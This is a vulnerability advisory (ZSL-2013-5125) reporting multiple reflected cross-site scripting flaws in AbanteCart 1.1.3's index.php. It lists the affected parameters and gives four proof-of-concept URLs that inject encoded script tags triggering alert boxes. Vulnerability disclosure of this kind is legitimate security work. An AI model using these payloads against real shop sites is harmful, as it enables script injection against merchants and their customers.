AbanteCart 1.1.3 Cross Site Scripting

AbanteCart 1.1.3 (index.php) Multiple Reflected XSS Vulnerabilities


Summary: AbanteCart is a free PHP based eCommerce solution for
merchants to provide ability creating online business and sell
products online quick and efficient.


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2013-5125
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5125.php


08.02.2013

--

Affected parameters: limit, page, rt, sort, currency, product_id, language, s, manufacturer_id, token.

PoC:

http://localhost/abantecart/index.php?limit=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E&page=1%22%3E%3Cscript%3Ealert%282%29;%3C/script%3E&rt=product/special%22%3E%3Cscript%3Ealert%283%29;%3C/script%3E&sort=%22%3E%3Cscript%3Ealert%284%29;%3C/script%3E
http://localhost/abantecart/index.php?currency=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E&product_id=109%22%3E%3Cscript%3Ealert%282%29;%3C/script%3E&rt=product/product
http://localhost/abantecart/index.php?rt=product/manufacturer&manufacturer_id=15%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
http://localhost/abantecart/index.php?rt=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E&s=your_admin%22%3E%3Cscript%3Ealert%282%29;%3C/script%3E&token=957bf7cb71078f4471807da1c42d721e%22%3E%3Cscript%3Ealert%283%29;%3C/script%3E

#  0day.today [2018-04-03]  #